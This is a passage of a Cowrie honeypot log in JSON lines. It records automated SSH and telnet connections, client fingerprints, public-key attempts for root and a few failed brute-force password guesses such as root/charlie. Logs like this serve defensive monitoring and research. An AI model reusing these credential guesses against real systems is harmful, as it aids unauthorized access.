14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.029403Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:23:f9:a6:24:56:17:f1:59:5c:61:d7:d8:ce:a7:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNYPF4oPu/M/wicODBhsgYtlW0zt7bWz3vTjjDjADQnjCugQJsHRQrIwy1GCdt8352PPWoRnmpUbBjR/4BOpet52gy0ZHQi2vCoKYMB5yiUoPG5M1Z7fijDAryLc91MJRcMi+2KNMJsb6tsr3pRE4YhjQOX3uzxAay8nGoOEFtig1/l/ueOtz6iSxaVpgaF2GaZiNsiWp2oY9X/1am/D8E9uDyQWPDa5MftKFp55zalkukW/K6WBnfG097HOIc3NwJH8pXUwy1UFdJ5QRyYmhpbBqSvCA8rmFP3nEE64AeeTa/7kPXNGyYcRJGtzvKlQi8U8pXtFXUuFvXIMsT1ZPf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:23:f9:a6:24:56:17:f1:59:5c:61:d7:d8:ce:a7:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.529068Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:23:f9:a6:24:56:17:f1:59:5c:61:d7:d8:ce:a7:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNYPF4oPu/M/wicODBhsgYtlW0zt7bWz3vTjjDjADQnjCugQJsHRQrIwy1GCdt8352PPWoRnmpUbBjR/4BOpet52gy0ZHQi2vCoKYMB5yiUoPG5M1Z7fijDAryLc91MJRcMi+2KNMJsb6tsr3pRE4YhjQOX3uzxAay8nGoOEFtig1/l/ueOtz6iSxaVpgaF2GaZiNsiWp2oY9X/1am/D8E9uDyQWPDa5MftKFp55zalkukW/K6WBnfG097HOIc3NwJH8pXUwy1UFdJ5QRyYmhpbBqSvCA8rmFP3nEE64AeeTa/7kPXNGyYcRJGtzvKlQi8U8pXtFXUuFvXIMsT1ZPf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.533101Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:a5:c8:02:bf:22:07:6f:38:71:76:da:70:50:4a:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCihZUcG+lpSnnytvtjlB2F3tnCvPNoJDVEKOQwT2r5A/RtPSnijPZcHN29LyWMH0cg//RV9jnG9/599Qfs6hmbGD7jpz3rqC7xOjzyWK/fSxGdj0YfMo9uaz44ZS0I1ueu+UbqpeTFa503HDhBXNe0hJq54Ou2saVHBgy41MJYYYWJR+KznEpdCwi9LNWxBfqL6bbePVLBCDzdGcdIJsWZpOD8g+xK7y4s0QSAqJ84fZQhdW7eTNq2EwL2lUVJVkqeyV1cEjGT254KVibbU1n+FtakASG8+YdVAyYoNQmnbXnsbaiOl7cNdxHGo6c4MyIANHfbBAS/+VuXUCMNm6C1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:a5:c8:02:bf:22:07:6f:38:71:76:da:70:50:4a:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.637923Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:a5:c8:02:bf:22:07:6f:38:71:76:da:70:50:4a:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCihZUcG+lpSnnytvtjlB2F3tnCvPNoJDVEKOQwT2r5A/RtPSnijPZcHN29LyWMH0cg//RV9jnG9/599Qfs6hmbGD7jpz3rqC7xOjzyWK/fSxGdj0YfMo9uaz44ZS0I1ueu+UbqpeTFa503HDhBXNe0hJq54Ou2saVHBgy41MJYYYWJR+KznEpdCwi9LNWxBfqL6bbePVLBCDzdGcdIJsWZpOD8g+xK7y4s0QSAqJ84fZQhdW7eTNq2EwL2lUVJVkqeyV1cEjGT254KVibbU1n+FtakASG8+YdVAyYoNQmnbXnsbaiOl7cNdxHGo6c4MyIANHfbBAS/+VuXUCMNm6C1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.642321Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:de:53:14:cc:b8:00:72:a2:df:cd:e2:b7:78:7b:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjapBYbKhBR26wLNF6kPTJ+CFcPox4DKvJ0imHGBwaRmnpwcNz82DH07ETbe66UKgf3sy1lSGXSEkWbauIBDtx1vZnwn8xHIU92qij0dZ2AxalqEPxIICYwKmcA7+/Aq0BJx6rBPCIdCF0bgUlSUboW0B66GmCiAReNlYd5gG6/rF1g87Kt3TjxnyOslE2JY9kOJTZQA/+iVOuhv+PHfQmGTxZ9/TWIUX3rDFHDJRWIAiquRB6OIQhbSlzp+HnqZkzzmHeMuRRJug3vSrejJlflvhOfSf3x0Gaic50BfCm+VGOlcxCxEd2Hc1GZME6nGbDg7Eky/3uc7MLk9s8QAs/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:de:53:14:cc:b8:00:72:a2:df:cd:e2:b7:78:7b:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.747791Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:de:53:14:cc:b8:00:72:a2:df:cd:e2:b7:78:7b:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjapBYbKhBR26wLNF6kPTJ+CFcPox4DKvJ0imHGBwaRmnpwcNz82DH07ETbe66UKgf3sy1lSGXSEkWbauIBDtx1vZnwn8xHIU92qij0dZ2AxalqEPxIICYwKmcA7+/Aq0BJx6rBPCIdCF0bgUlSUboW0B66GmCiAReNlYd5gG6/rF1g87Kt3TjxnyOslE2JY9kOJTZQA/+iVOuhv+PHfQmGTxZ9/TWIUX3rDFHDJRWIAiquRB6OIQhbSlzp+HnqZkzzmHeMuRRJug3vSrejJlflvhOfSf3x0Gaic50BfCm+VGOlcxCxEd2Hc1GZME6nGbDg7Eky/3uc7MLk9s8QAs/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.751382Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:3f:9b:66:35:8a:0a:5a:78:8f:bb:45:2d:9e:d9:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDNEAl7GGxlpLSPdAEa7h+f9Vkqhq6k19VyijPCHIJ0yyLWIA9knHHpQaFWBAw5uRsKhJOCIw/AyZwz8x1F7bHOZgH7RDOFkjsmjyD0dU8Taefq9SDCMr6ltMTvQCThELnioo4DY5WXLzZqwFXiW2k/7nxgcm2J2E/0B+UBBZaXVvC0bg1Tg6vnqiB0ZkDrbQm6A4obAEBP3Wx46OJtngkG1vWFQsElC1TtXd4TWVNEfw8WfrK6NxUmASRpspovJNWxx4Q7gE54FtiwB3P6suMfcmkPzMiCmHeCLHuwFrNEu4zXs0tpSOEwuYQTbf56EzAmqw8tf+DXTfSV+/ssf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:3f:9b:66:35:8a:0a:5a:78:8f:bb:45:2d:9e:d9:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.856894Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:3f:9b:66:35:8a:0a:5a:78:8f:bb:45:2d:9e:d9:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDNEAl7GGxlpLSPdAEa7h+f9Vkqhq6k19VyijPCHIJ0yyLWIA9knHHpQaFWBAw5uRsKhJOCIw/AyZwz8x1F7bHOZgH7RDOFkjsmjyD0dU8Taefq9SDCMr6ltMTvQCThELnioo4DY5WXLzZqwFXiW2k/7nxgcm2J2E/0B+UBBZaXVvC0bg1Tg6vnqiB0ZkDrbQm6A4obAEBP3Wx46OJtngkG1vWFQsElC1TtXd4TWVNEfw8WfrK6NxUmASRpspovJNWxx4Q7gE54FtiwB3P6suMfcmkPzMiCmHeCLHuwFrNEu4zXs0tpSOEwuYQTbf56EzAmqw8tf+DXTfSV+/ssf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.863683Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:59:ec:11:c0:36:87:6f:cd:14:ad:37:e1:8a:0f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6h04xSS2lvO0eo3gvwmG0lDfS6433wMZdXvnJktrcFxCU1COsodluvaNsoHfzqWBkYIqwe3o6iySFAbK97WH5031MxCmUpcB/D4qH3mAfVeapMQVkWyWYqvn6546TWzc/orOzGcHroo0fZp3HVm7G2EDhyp0M+GYX4ngnzNhvRu/cn0wxSxX0oQrGX4SqR7yyzn4Bo87NgJVQrmglxqVIPz5szwE019/rf70g7kLlbTT2aB8vKArBMFU2Tv5YIjIOc9IY+HC06B6gtVu4oNCjiOVYmMyFvx0dlCvARIKHyraLEbgD5+jnMLsRrGiMux1QLCHa/iedLMhTWEGfl703","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:59:ec:11:c0:36:87:6f:cd:14:ad:37:e1:8a:0f:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.968975Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:59:ec:11:c0:36:87:6f:cd:14:ad:37:e1:8a:0f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6h04xSS2lvO0eo3gvwmG0lDfS6433wMZdXvnJktrcFxCU1COsodluvaNsoHfzqWBkYIqwe3o6iySFAbK97WH5031MxCmUpcB/D4qH3mAfVeapMQVkWyWYqvn6546TWzc/orOzGcHroo0fZp3HVm7G2EDhyp0M+GYX4ngnzNhvRu/cn0wxSxX0oQrGX4SqR7yyzn4Bo87NgJVQrmglxqVIPz5szwE019/rf70g7kLlbTT2aB8vKArBMFU2Tv5YIjIOc9IY+HC06B6gtVu4oNCjiOVYmMyFvx0dlCvARIKHyraLEbgD5+jnMLsRrGiMux1QLCHa/iedLMhTWEGfl703","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:31.972852Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:32.078475Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.13636660575867,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:35.100408Z","src_ip":"128.199.8.54","session":"1104b993708f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36894,"dst_ip":"159.203.135.109","dst_port":23,"session":"2198a7828cb0","protocol":"telnet","message":"New connection: 128.199.8.54:36894 (159.203.135.109:23) [session: 2198a7828cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:36.936443Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47754,"dst_ip":"159.203.135.109","dst_port":23,"session":"d32a659852e9","protocol":"telnet","message":"New connection: 128.199.8.54:47754 (159.203.135.109:23) [session: d32a659852e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:41.680942Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56114,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d8e003d02a9","protocol":"telnet","message":"New connection: 128.199.8.54:56114 (159.203.135.109:23) [session: 1d8e003d02a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:43.269353Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59014,"dst_ip":"159.203.135.109","dst_port":23,"session":"abed2911ccf9","protocol":"telnet","message":"New connection: 128.199.8.54:59014 (159.203.135.109:23) [session: abed2911ccf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:44.712877Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39996,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2099415e8e9","protocol":"telnet","message":"New connection: 128.199.8.54:39996 (159.203.135.109:23) [session: a2099415e8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:50.508530Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37740,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e0e22c6198","protocol":"telnet","message":"New connection: 128.199.8.54:37740 (159.203.135.109:23) [session: f2e0e22c6198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:51.406957Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":56138,"dst_ip":"10.17.0.5","dst_port":23,"session":"312b400154de","protocol":"telnet","message":"New connection: 208.109.212.211:56138 (10.17.0.5:23) [session: 312b400154de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:53.960185Z"}
{"eventid":"cowrie.session.closed","duration":33.02340650558472,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:56.673189Z","src_ip":"128.199.8.54","session":"4aa1adeae9e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54502,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee770dafadc7","protocol":"telnet","message":"New connection: 128.199.8.54:54502 (159.203.135.109:23) [session: ee770dafadc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:57.218873Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59550,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9804b80127a","protocol":"telnet","message":"New connection: 128.199.8.54:59550 (159.203.135.109:23) [session: e9804b80127a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:59.756573Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":57724,"dst_ip":"159.203.135.109","dst_port":22,"session":"552412676873","protocol":"ssh","message":"New connection: 80.94.92.186:57724 (159.203.135.109:22) [session: 552412676873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:01.120115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:01.220113Z","src_ip":"80.94.92.186","session":"552412676873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:01.376911Z","src_ip":"80.94.92.186","session":"552412676873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"fuckyou","message":"login attempt [solana/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:02.142765Z","src_ip":"80.94.92.186","session":"552412676873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:03.322742Z","src_ip":"80.94.92.186","session":"552412676873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.48.199.200","src_port":51382,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4698c0ab868","protocol":"telnet","message":"New connection: 103.48.199.200:51382 (10.17.0.5:23) [session: d4698c0ab868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:04.999225Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46666,"dst_ip":"159.203.135.109","dst_port":23,"session":"b496ed387f40","protocol":"telnet","message":"New connection: 128.199.8.54:46666 (159.203.135.109:23) [session: b496ed387f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:07.753756Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":35639,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c46195a4e83","protocol":"ssh","message":"New connection: 193.24.211.100:35639 (159.203.135.109:22) [session: 2c46195a4e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:08.482928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:08.488787Z","src_ip":"193.24.211.100","session":"2c46195a4e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:08.596474Z","src_ip":"193.24.211.100","session":"2c46195a4e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie","message":"login attempt [root/charlie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:09.031469Z","src_ip":"193.24.211.100","session":"2c46195a4e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:10.143098Z","src_ip":"193.24.211.100","session":"2c46195a4e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.700541973114014,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:10.636861Z","src_ip":"128.199.8.54","session":"2198a7828cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55158,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbb87916ce7d","protocol":"telnet","message":"New connection: 128.199.8.54:55158 (159.203.135.109:23) [session: dbb87916ce7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:12.101017Z"}
{"eventid":"cowrie.session.closed","duration":34.50626540184021,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:16.187094Z","src_ip":"128.199.8.54","session":"d32a659852e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34726,"dst_ip":"159.203.135.109","dst_port":23,"session":"fecd752f2189","protocol":"telnet","message":"New connection: 128.199.8.54:34726 (159.203.135.109:23) [session: fecd752f2189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:16.233468Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36558,"dst_ip":"159.203.135.109","dst_port":23,"session":"2396206496e1","protocol":"telnet","message":"New connection: 128.199.8.54:36558 (159.203.135.109:23) [session: 2396206496e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:17.088838Z"}
{"eventid":"cowrie.session.closed","duration":13.018811464309692,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:18.017910Z","src_ip":"103.48.199.200","session":"d4698c0ab868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.33264923095703,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:18.045392Z","src_ip":"128.199.8.54","session":"abed2911ccf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.28512239456177,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:18.554313Z","src_ip":"128.199.8.54","session":"1d8e003d02a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3343780040741,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:23.842784Z","src_ip":"128.199.8.54","session":"a2099415e8e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"89fe6502f6d5","protocol":"telnet","message":"New connection: 128.199.8.54:50266 (159.203.135.109:23) [session: 89fe6502f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:23.877637Z"}
{"eventid":"cowrie.session.closed","duration":31.262444257736206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:25.222312Z","src_ip":"208.109.212.211","session":"312b400154de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53728,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae6b6c570682","protocol":"telnet","message":"New connection: 128.199.8.54:53728 (159.203.135.109:23) [session: ae6b6c570682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:25.678424Z"}
